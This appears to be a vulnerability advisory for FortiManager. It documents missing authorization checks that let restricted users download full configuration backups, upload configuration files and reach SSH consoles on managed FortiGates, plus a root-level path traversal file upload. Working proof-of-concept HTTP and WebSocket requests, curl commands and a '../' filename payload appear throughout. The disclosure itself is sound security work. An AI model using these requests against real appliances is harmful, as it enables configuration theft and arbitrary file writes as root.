Fortimanager multiple vulnerabilities

The FortiManager web application does not perform efficient authorization checks when a low-privilege user attempts to access administrative features.

The following features can thus be used by low-privilege users authenticated on the FortiManager web interface:

• System configuration backup.

• System configuration import (upload step only).

• Remote SSH web console on FortiGate.

All requests presented in this vulnerability are performed with the test1 user having the Restricted_User profile on a FortiManager:

POST /cgi-bin/module/flatui_auth HTTP/1.1
Host: 127.0.0.1
[...]

{"url":"/gui/userauth","method":"login","params":{"username":"test1","secretkey":"***","logintype":0}}


HTTP/1.1 200 
Set-Cookie: CURRENT_SESSION=7ci[...]8UQ==; Path=/; HttpOnly; SameSite=Strict; Secure; Version=1
[...]

GET /cgi-bin/module/flatui_proxy?req=%7B%22url%22:%22%2Fgui%2Fsys%2Fconfig%22,%22method%22:%22get%22%7D HTTP/1.1
Host: 127.0.0.1
Cookie: CURRENT_SESSION=7ci[...]8UQ==;
[...]


HTTP/1.1 200 
[...]

{
  "result" : [
    {
      "data" : {
        [...]
        "user_profile" : {
          [...]
          "profileid" : "Restricted_User",
          [...]
        },
        "user_theme" : 0,
        "user_type" : 0,
        "username" : "test1",
        [...]
      },
      "id" : null,
      "status" : {
        "code" : 0,
        "message" : ""
      },
      "url" : "/gui/sys/config"
    }
  ]
}

System configuration backup

When using the FortiManager web application, a WebSocket connection is opened between the client and the web server:

GET /ws3 HTTP/1.1
Host: 127.0.0.1
Cookie: CURRENT_SESSION=7ci[...]8UQ==;
Upgrade: websocket
[...]

HTTP/1.1 101 Switching Protocols
Sec-WebSocket-Accept: [...]
Sec-WebSocket-Protocol: [...]
Server: WebSocket++/0.8.1
Connection: Upgrade
Upgrade: websocket

This WebSocket connection can then be used to call the backup method of the /gui/sys/db URL, through the FlatUI proxy:

{
  "msg": "method",
  "id": "mtd-10",
  "method": "dispatch",
  "params": {
    "url": "/cgi-bin/module/flatui_proxy",
    "method": "get",
    "params": {
      "url": "/gui/sys/db",
      "method": "backup",
      "params": {},
      "dataChunked": {}
    }
  }
}

Once the backup process is completed, the server responds with information about the backup file:

{
  "msg": "notify",
  "id": "37bd6152-f4a5-11ed-9407-5254004158bb",
  "collection": "task",
  "fields": {
    "code": 0,
    "message": "",
    "meta": {
      "bytes": 141349627,
      "downloadname": "SYS_FMG.dat",
      "filepath": "backupdb/fmg_backup.dat",
      "md5": "8e24aer4db25600de50948984a79d7",
      "md5filepath": "backupdb/md5.txt",
      "size": "34.8 MB"
    },
    "percentage": 0,
    "session": 22389
  },
  "meta": {}
}

This file can then be downloaded, still with the privileges of a restricted user:

$ curl -k -H 'Cookie: CURRENT_SESSION=7ci[...]8UQ==; ' 'https://127.0.0.1:443/flatui/api/gui/download?filepath=backupdb%2Ffmg_backup.dat&range=0-141349627&downloadname=backup.dat' --output backup.dat
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  34M    0  134M    0     0  5010k      0 --:--:--  0:00:27 --:--:-- 3804k
$ file backup.dat
backup.dat: gzip compressed data, last modified: Wed May 17 11:31:26 2023, from Unix, original size modulo 2^32 870995749

This archive contains all configurations regarding the managed FortiGates and the FortiManager itself:

$ 7z e backup.dat ; tar -xf backup

$ cat var/fwclienttemp/system.conf  
#config-version=FMG-VM64-KVM-7.2-FW-build1334-230201
#branch_pt=1334
config system global
[...]

System configuration import

The FortiManager web application allows importing a previously exported configuration file. This import is divided in two steps, corresponding to three HTTP requests:

• Uploading the configuration file.

• Importing the configuration file from the FortiManager filesystem.

The first step (file upload) can be performed by a user with low privileges:

POST /flatui/api/gui/upload HTTP/1.1
Host: 127.0.0.1
Cookie: CURRENT_SESSION=7ci[...]8UQ==;
Referer: https://127.0.0.1/p/app/
Content-Type: multipart/form-data; boundary=---------------------------139200861277793406064454685
Content-Length: 869
Origin: https://127.0.0.1
[...]

-----------------------------139200861277793406064454685
Content-Disposition: form-data; name="folder"

upload
-----------------------------139200861277793406064454685
Content-Disposition: form-data; name="filesize"

182211979
-----------------------------139200861277793406064454685
Content-Disposition: form-data; name="filename"

SYS_FMG-VMTM2300756.dat
-----------------------------139200861277793406064454685
Content-Disposition: form-data; name="range"

0-114
-----------------------------139200861277793406064454685
Content-Disposition: form-data; name="filepath"; filename="SYS_FMG-VMTM2300756.dat"
Content-Type: application/octet-stream

#FMBK|3|FMG-VM64|6|4|9688|
[...]
-----------------------------139200861277793406064454685--

HTTP/1.1 200 
Content-Length: 128
Content-Type: application/json
[...]

{
  "result" : [
    {
      "data" : {
        "md5" : "164cb7cd64f4f99102e2c1e575378fd7"
      },
      "id" : null,
      "status" : {
        "code" : 0,
        "message" : ""
      },
      "url" : "/gui/upload"
    }
  ]
}

SSH Web console

The FortiManager web application allows connecting to the SSH interface of the managed FortiGates with a web console. The traffic is forwarded through a network tunnel mounted between the FortiManager and the FortiGates. A valid password is still needed to connect to the appliance. The following web socket exchange can be performed with a low-privilege user:

[-> To Server]
{
  "msg": "method",
  "method": "console",
  "params": {
    "action": "connect",
    "consoleId": -1,
    "type": "remote",
    "ipaddr": "169.254.1.1",
    "port": 22,
    "user": "admin",
    "oid": "4456",
    "cols": 137,
    "rows": 40
  },
  "id": "mtd-11"
}

[<- To Client]
{
  "id": "mtd-11",
  "msg": "result",
  "result": {
    "consoleId": 2105,
    "content": ""
  },
  "status": {
    "code": 0,
    "message": "Connected"
  }
}

[<- To Client]
{
  "collection": "console",
  "fields": {
    "consoleId": 2105,
    "content": "\radmin@169.254.1.1's password: ",
    "type": "content"
  },
  "id": "2105",
  "msg": "notify"
}

The FortiManager web application allows an administrator to upload arbitrary files to an arbitrary destination with the privileges of the root user on the underlying file system.

As described in the previous vulnerability, the system configuration import feature uses the /flatui/api/gui/upload endpoint to upload the system configuration file. This endpoint does not enforce any restriction on the content nor the destination path of this file. Moreover, the file is written on the file system with the privileges of the root user.

This endpoint can be used to upload an arbitrary file to an arbitrary destination:

POST /flatui/api/gui/upload HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=---------------------------26433208534746453103032271192
Content-Length: 729
[...]

-----------------------------26433208534746453103032271192
Content-Disposition: form-data; name="folder"

upload
-----------------------------26433208534746453103032271192
Content-Disposition: form-data; name="filesize"

5
-----------------------------26433208534746453103032271192
Content-Disposition: form-data; name="filename"

../../../../../test.txt
-----------------------------26433208534746453103032271192
Content-Disposition: form-data; name="range"

0-5
-----------------------------26433208534746453103032271192
Content-Disposition: form-data; name="filepath"; filename="system.dat"
Content-Type: application/octet-stream

test

-----------------------------26433208534746453103032271192--

The file is created at the root of the file system:

$ ls -al / | grep test
-rw-r--r--    1 root     root             6 May 22 01:23 test.txt
-rw-r--r--    1 root     root            32 May 22 01:23 test.txt-md5.txt

$ cat /test.txt

test